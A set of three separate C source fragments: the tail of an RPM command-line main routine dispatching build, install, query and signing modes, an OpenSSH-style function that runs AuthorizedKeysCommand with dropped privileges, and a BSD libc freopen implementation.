dup2(p[0], STDIN_FILENO); (void) close(p[0]); (void) execl("/bin/sh", "/bin/sh", "-c", rpmioPipeOutput, NULL); fprintf(stderr, _("exec failed\n")); } (void) close(p[0]); (void) dup2(p[1], STDOUT_FILENO); (void) close(p[1]); } ts = rpmtsCreate(); (void) rpmtsSetRootDir(ts, rpmioRootDir); switch (bigMode) { #ifdef IAM_RPMDB case MODE_REBUILDDB: { rpmVSFlags vsflags = rpmExpandNumeric("%{_vsflags_rebuilddb}"); rpmVSFlags ovsflags; if (rpmcliQueryFlags & VERIFY_DIGEST) vsflags |= _RPMVSF_NODIGESTS; if (rpmcliQueryFlags & VERIFY_SIGNATURE) vsflags |= _RPMVSF_NOSIGNATURES; ovsflags = rpmtsSetVSFlags(ts, vsflags); ec = rpmtsRebuildDB(ts); vsflags = rpmtsSetVSFlags(ts, ovsflags); } break; #endif /* IAM_RPMDB */ #ifdef IAM_RPMBT case MODE_REBUILD: case MODE_RECOMPILE: { const char * pkg; int nbuilds = 0; while (!rpmIsVerbose()) rpmIncreaseVerbosity(); if (!poptPeekArg(optCon)) argerror(_("no packages files given for rebuild")); ba->buildAmount = RPMBUILD_PREP | RPMBUILD_BUILD | RPMBUILD_INSTALL | RPMBUILD_CHECK; if (bigMode == MODE_REBUILD) { ba->buildAmount |= RPMBUILD_PACKAGEBINARY; ba->buildAmount |= RPMBUILD_RMSOURCE; ba->buildAmount |= RPMBUILD_RMSPEC; ba->buildAmount |= RPMBUILD_CLEAN; ba->buildAmount |= RPMBUILD_RMBUILD; } while ((pkg = poptGetArg(optCon))) { if (nbuilds++ > 0) { rpmFreeMacros(NULL); rpmFreeRpmrc(); (void) rpmReadConfigFiles(NULL, NULL); } ba->specFile = NULL; ba->cookie = NULL; ec = rpmInstallSource(ts, pkg, &ba->specFile, &ba->cookie); if (ec == 0) { ba->rootdir = rpmioRootDir; ba->passPhrase = passPhrase; ec = build(ts, ba, NULL); } ba->cookie = _free(ba->cookie); ba->specFile = _free(ba->specFile); if (ec) /*@loopbreak@*/ break; } } break; case MODE_BUILD: case MODE_TARBUILD: { int nbuilds = 0; #if defined(RPM_VENDOR_OPENPKG) /* no-auto-verbose-increase-for-track-and-fetch */ if (ba->buildChar != 't' && ba->buildChar != 'f') #endif while (!rpmIsVerbose()) rpmIncreaseVerbosity(); switch (ba->buildChar) { case 'a': ba->buildAmount |= RPMBUILD_PACKAGESOURCE; /*@fallthrough@*/ case 'b': ba->buildAmount |= RPMBUILD_PACKAGEBINARY; ba->buildAmount |= RPMBUILD_CLEAN; if ((ba->buildChar == 'b') && ba->shortCircuit) /*@innerbreak@*/ break; /*@fallthrough@*/ case 'i': ba->buildAmount |= RPMBUILD_INSTALL; ba->buildAmount |= RPMBUILD_CHECK; if ((ba->buildChar == 'i') && ba->shortCircuit) /*@innerbreak@*/ break; /*@fallthrough@*/ case 'c': ba->buildAmount |= RPMBUILD_BUILD; if ((ba->buildChar == 'c') && ba->shortCircuit) /*@innerbreak@*/ break; /*@fallthrough@*/ case 'p': ba->buildAmount |= RPMBUILD_PREP; /*@innerbreak@*/ break; case 'l': ba->buildAmount |= RPMBUILD_FILECHECK; /*@innerbreak@*/ break; case 's': ba->buildAmount |= RPMBUILD_PACKAGESOURCE; #if defined(RPM_VENDOR_OPENPKG) || defined(RPM_VENDOR_MANDRIVA) || defined(RPM_VENDOR_ARK) /* no-deps-on-building-srpms */ /* enforce no dependency checking when rolling a source RPM */ ba->noDeps = 1; #endif /*@innerbreak@*/ break; case 't': /* support extracting the "%track" script/section */ ba->buildAmount |= RPMBUILD_TRACK; /* enforce no dependency checking and expansion of %setup, %patch and %prep macros */ ba->noDeps = 1; rpmDefineMacro(NULL, "setup #", RMIL_CMDLINE); rpmDefineMacro(NULL, "patch #", RMIL_CMDLINE); rpmDefineMacro(NULL, "prep %%prep", RMIL_CMDLINE); /*@innerbreak@*/ break; case 'f': ba->buildAmount |= RPMBUILD_FETCHSOURCE; ba->noDeps = 1; /*@innerbreak@*/ break; } if (!poptPeekArg(optCon)) { if (bigMode == MODE_BUILD) argerror(_("no spec files given for build")); else argerror(_("no tar files given for build")); } while ((ba->specFile = poptGetArg(optCon))) { if (nbuilds++ > 0) { rpmFreeMacros(NULL); rpmFreeRpmrc(); (void) rpmReadConfigFiles(NULL, NULL); } ba->rootdir = rpmioRootDir; ba->passPhrase = passPhrase; ba->cookie = NULL; ec = build(ts, ba, NULL); if (ec) /*@loopbreak@*/ break; } } break; #endif /* IAM_RPMBT */ #ifdef IAM_RPMEIU case MODE_ERASE: ia->depFlags = global_depFlags; if (ia->noDeps) ia->installInterfaceFlags |= INSTALL_NODEPS; if (!poptPeekArg(optCon)) { if (ia->rbtid == 0) argerror(_("no packages given for erase")); ia->transFlags |= RPMTRANS_FLAG_NOFDIGESTS; ia->probFilter |= RPMPROB_FILTER_OLDPACKAGE; ia->rbCheck = rpmcliInstallCheck; ia->rbOrder = rpmcliInstallOrder; ia->rbRun = rpmcliInstallRun; ec += rpmRollback(ts, ia, NULL); } else { ec += rpmErase(ts, ia, (const char **) poptGetArgs(optCon)); } break; case MODE_INSTALL: /* RPMTRANS_FLAG_KEEPOBSOLETE */ ia->depFlags = global_depFlags; if (!ia->incldocs) { if (ia->transFlags & RPMTRANS_FLAG_NODOCS) { ; } else if (rpmExpandNumeric("%{_excludedocs}")) ia->transFlags |= RPMTRANS_FLAG_NODOCS; } if (ia->noDeps) ia->installInterfaceFlags |= INSTALL_NODEPS; /* we've already ensured !(!ia->prefix && !ia->relocations) */ /*@-branchstate@*/ if (ia->qva_prefix) { xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations, NULL, ia->qva_prefix); xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations, NULL, NULL); } else if (ia->relocations) { xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations, NULL, NULL); } /*@=branchstate@*/ if (!poptPeekArg(optCon)) { if (ia->rbtid == 0) argerror(_("no packages given for install")); ia->transFlags |= RPMTRANS_FLAG_NOFDIGESTS; ia->probFilter |= RPMPROB_FILTER_OLDPACKAGE; ia->rbCheck = rpmcliInstallCheck; ia->rbOrder = rpmcliInstallOrder; ia->rbRun = rpmcliInstallRun; /*@i@*/ ec += rpmRollback(ts, ia, NULL); } else { /*@-compdef -compmempass@*/ /* FIX: ia->relocations[0].newPath undefined */ ec += rpmcliInstall(ts, ia, (const char **)poptGetArgs(optCon)); /*@=compdef =compmempass@*/ } break; #endif /* IAM_RPMEIU */ #ifdef IAM_RPMQV case MODE_QUERY: if (!poptPeekArg(optCon) && !(qva->qva_source == RPMQV_ALL || qva->qva_source == RPMQV_HDLIST)) argerror(_("no arguments given for query")); qva->depFlags = global_depFlags; qva->qva_specQuery = rpmspecQuery; ec = rpmcliQuery(ts, qva, (const char **) poptGetArgs(optCon)); qva->qva_specQuery = NULL; break; case MODE_VERIFY: { rpmVerifyFlags verifyFlags = VERIFY_ALL; qva->depFlags = global_depFlags; verifyFlags &= ~qva->qva_flags; qva->qva_flags = (rpmQueryFlags) verifyFlags; if (!poptPeekArg(optCon) && !(qva->qva_source == RPMQV_ALL || qva->qva_source == RPMQV_HDLIST)) argerror(_("no arguments given for verify")); ec = rpmcliVerify(ts, qva, (const char **) poptGetArgs(optCon)); } break; #endif /* IAM_RPMQV */ #ifdef IAM_RPMK case MODE_CHECKSIG: { rpmVerifyFlags verifyFlags = (VERIFY_FDIGEST|VERIFY_HDRCHK|VERIFY_DIGEST|VERIFY_SIGNATURE); verifyFlags &= ~ka->qva_flags; ka->qva_flags = (rpmQueryFlags) verifyFlags; } /*@fallthrough@*/ case MODE_RESIGN: if (!poptPeekArg(optCon)) argerror(_("no arguments given")); ka->passPhrase = passPhrase; ec = rpmcliSign(ts, ka, (const char **)poptGetArgs(optCon)); break; #endif /* IAM_RPMK */ #if !defined(IAM_RPMQV) case MODE_QUERY: case MODE_VERIFY: #endif #if !defined(IAM_RPMK) case MODE_CHECKSIG: case MODE_RESIGN: #endif #if !defined(IAM_RPMDB) case MODE_REBUILDDB: #endif #if !defined(IAM_RPMBT) case MODE_BUILD: case MODE_REBUILD: case MODE_RECOMPILE: case MODE_TARBUILD: #endif #if !defined(IAM_RPMEIU) case MODE_INSTALL: case MODE_ERASE: #endif case MODE_UNKNOWN: #ifdef DYING /* XXX rpmIsVerbose alone stops usage spewage with every --eval */ if (poptPeekArg(optCon) != NULL || argc <= 1 || rpmIsVerbose()) { printUsage(optCon, stderr, 0); ec = argc; } #endif break; } #if defined(IAM_RPMBT) || defined(IAM_RPMK) exit: #endif /* IAM_RPMBT || IAM_RPMK */ (void)rpmtsFree(ts); ts = NULL; if (pipeChild) { (void) fclose(stdout); (void) waitpid(pipeChild, &status, 0); } #ifdef IAM_RPMQV qva->qva_queryFormat = _free(qva->qva_queryFormat); #endif #ifdef IAM_RPMBT freeNames(); /* XXX _specPool/_pkgPool teardown should be done somewhere else. */ { extern rpmioPool _pkgPool; extern rpmioPool _specPool; _pkgPool = rpmioFreePool(_pkgPool); _specPool = rpmioFreePool(_specPool); } #endif #ifdef IAM_RPMEIU ia->relocations = rpmfiFreeRelocations(ia->relocations); #endif optCon = rpmcliFini(optCon); /* XXX limit the fiddle up to linux for now. */ #if !defined(HAVE_SETPROCTITLE) && defined(__linux__) (void) finiproctitle(); #endif /* XXX don't overflow single byte exit status */ /* XXX status 255 is special to xargs(1) */ if (ec > 254) ec = 254; /*@-globstate@*/ return ec; /*@=globstate@*/ }
/* * Checks whether key is allowed in output of command. * returns 1 if the key is allowed or 0 otherwise. */ static int user_key_command_allowed2(struct passwd *user_pw, Key *key) { FILE *f; int ok, found_key = 0; struct passwd *pw; struct stat st; int status, devnull, p[2], i; pid_t pid; char *username, errmsg[512]; if (options.authorized_keys_command == NULL || options.authorized_keys_command[0] != '/') return 0; if (options.authorized_keys_command_user == NULL) { error("No user for AuthorizedKeysCommand specified, skipping"); return 0; } username = percent_expand(options.authorized_keys_command_user, "u", user_pw->pw_name, (char *)NULL); pw = getpwnam(username); if (pw == NULL) { error("AuthorizedKeysCommandUser \"%s\" not found: %s", username, strerror(errno)); free(username); return 0; } free(username); temporarily_use_uid(pw); if (stat(options.authorized_keys_command, &st) < 0) { error("Could not stat AuthorizedKeysCommand \"%s\": %s", options.authorized_keys_command, strerror(errno)); goto out; } if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0, errmsg, sizeof(errmsg)) != 0) { error("Unsafe AuthorizedKeysCommand: %s", errmsg); goto out; } if (pipe(p) != 0) { error("%s: pipe: %s", __func__, strerror(errno)); goto out; } debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"", options.authorized_keys_command, user_pw->pw_name, pw->pw_name); /* * Don't want to call this in the child, where it can fatal() and * run cleanup_exit() code. */ restore_uid(); switch ((pid = fork())) { case -1: /* error */ error("%s: fork: %s", __func__, strerror(errno)); close(p[0]); close(p[1]); return 0; case 0: /* child */ for (i = 0; i < NSIG; i++) signal(i, SIG_DFL); if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) { error("%s: open %s: %s", __func__, _PATH_DEVNULL, strerror(errno)); _exit(1); } /* Keep stderr around a while longer to catch errors */ if (dup2(devnull, STDIN_FILENO) == -1 || dup2(p[1], STDOUT_FILENO) == -1) { error("%s: dup2: %s", __func__, strerror(errno)); _exit(1); } closefrom(STDERR_FILENO + 1); /* Don't use permanently_set_uid() here to avoid fatal() */ if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) { error("setresgid %u: %s", (u_int)pw->pw_gid, strerror(errno)); _exit(1); } if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) { error("setresuid %u: %s", (u_int)pw->pw_uid, strerror(errno)); _exit(1); } /* stdin is pointed to /dev/null at this point */ if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) { error("%s: dup2: %s", __func__, strerror(errno)); _exit(1); } execl(options.authorized_keys_command, options.authorized_keys_command, user_pw->pw_name, NULL); error("AuthorizedKeysCommand %s exec failed: %s", options.authorized_keys_command, strerror(errno)); _exit(127); default: /* parent */ break; } temporarily_use_uid(pw); close(p[1]); if ((f = fdopen(p[0], "r")) == NULL) { error("%s: fdopen: %s", __func__, strerror(errno)); close(p[0]); /* Don't leave zombie child */ kill(pid, SIGTERM); while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) ; goto out; } ok = check_authkeys_file(f, options.authorized_keys_command, key, pw); fclose(f); while (waitpid(pid, &status, 0) == -1) { if (errno != EINTR) { error("%s: waitpid: %s", __func__, strerror(errno)); goto out; } } if (WIFSIGNALED(status)) { error("AuthorizedKeysCommand %s exited on signal %d", options.authorized_keys_command, WTERMSIG(status)); goto out; } else if (WEXITSTATUS(status) != 0) { error("AuthorizedKeysCommand %s returned status %d", options.authorized_keys_command, WEXITSTATUS(status)); goto out; } found_key = ok; out: restore_uid(); return found_key; }
/* * Re-direct an existing, open (probably) file to some other file. * ANSI is written such that the original file gets closed if at * all possible, no matter what. */ FILE * freopen(const char *file, const char *mode, FILE *fp) { int f; int flags, isopen, oflags, sverrno, wantfd; _DIAGASSERT(file != NULL); _DIAGASSERT(mode != NULL); _DIAGASSERT(fp != NULL); if ((flags = __sflags(mode, &oflags)) == 0) { (void) fclose(fp); return NULL; } if (!__sdidinit) __sinit(); /* * There are actually programs that depend on being able to "freopen" * descriptors that weren't originally open. Keep this from breaking. * Remember whether the stream was open to begin with, and which file * descriptor (if any) was associated with it. If it was attached to * a descriptor, defer closing it; freopen("/dev/stdin", "r", stdin) * should work. This is unnecessary if it was not a Unix file. */ if (fp->_flags == 0) { fp->_flags = __SEOF; /* hold on to it */ isopen = 0; wantfd = -1; } else { /* flush the stream; ANSI doesn't require this. */ if (fp->_flags & __SWR) (void)__sflush(fp); /* if close is NULL, closing is a no-op, hence pointless */ isopen = fp->_close != NULL; if ((wantfd = __sfileno(fp)) == -1 && isopen) { (void) (*fp->_close)(fp->_cookie); isopen = 0; } } /* Get a new descriptor to refer to the new file. */ f = open(file, oflags, DEFFILEMODE); if (f < 0 && isopen) { /* If out of fd's close the old one and try again. */ if (errno == ENFILE || errno == EMFILE) { (void) (*fp->_close)(fp->_cookie); isopen = 0; f = open(file, oflags, DEFFILEMODE); } } sverrno = errno; /* * Finish closing fp. Even if the open succeeded above, we cannot * keep fp->_base: it may be the wrong size. This loses the effect * of any setbuffer calls, but stdio has always done this before. */ if (isopen && f != wantfd) (void) (*fp->_close)(fp->_cookie); if (fp->_flags & __SMBF) free((char *)fp->_bf._base); fp->_w = 0; fp->_r = 0; fp->_p = NULL; fp->_bf._base = NULL; fp->_bf._size = 0; fp->_lbfsize = 0; if (HASUB(fp)) FREEUB(fp); WCIO_FREE(fp); _UB(fp)._size = 0; FREELB(fp); if (f < 0) { /* did not get it after all */ fp->_flags = 0; /* set it free */ errno = sverrno; /* restore in case _close clobbered */ return NULL; } if (oflags & O_NONBLOCK) { struct stat st; if (fstat(f, &st) == -1) { sverrno = errno; (void)close(f); errno = sverrno; return NULL; } if (!S_ISREG(st.st_mode)) { (void)close(f); errno = EFTYPE; return NULL; } } /* * If reopening something that was open before on a real file, try * to maintain the descriptor. Various C library routines (perror) * assume stderr is always fd STDERR_FILENO, even if being freopen'd. */ if (wantfd >= 0 && f != wantfd) { if (dup2(f, wantfd) >= 0) { (void) close(f); f = wantfd; } } /* * File descriptors are a full int, but _file is only a short. * If we get a valid file descriptor that is greater or equal to * USHRT_MAX, then the fd will get sign-extended into an * invalid file descriptor. Handle this case by failing the * open. (We treat the short as unsigned, and special-case -1). */ if (f >= USHRT_MAX) { (void)close(f); errno = EMFILE; return NULL; } fp->_flags = flags; fp->_file = f; fp->_cookie = fp; fp->_read = __sread; fp->_write = __swrite; fp->_seek = __sseek; fp->_close = __sclose; /* * When reopening in append mode, even though we use O_APPEND, * we need to seek to the end so that ftell() gets the right * answer. If the user then alters the seek pointer, or * the file extends, this will fail, but there is not much * we can do about this. (We could set __SAPP and check in * fseek and ftell.) */ if (oflags & O_APPEND) (void) __sseek((void *)fp, (off_t)0, SEEK_END); return fp; }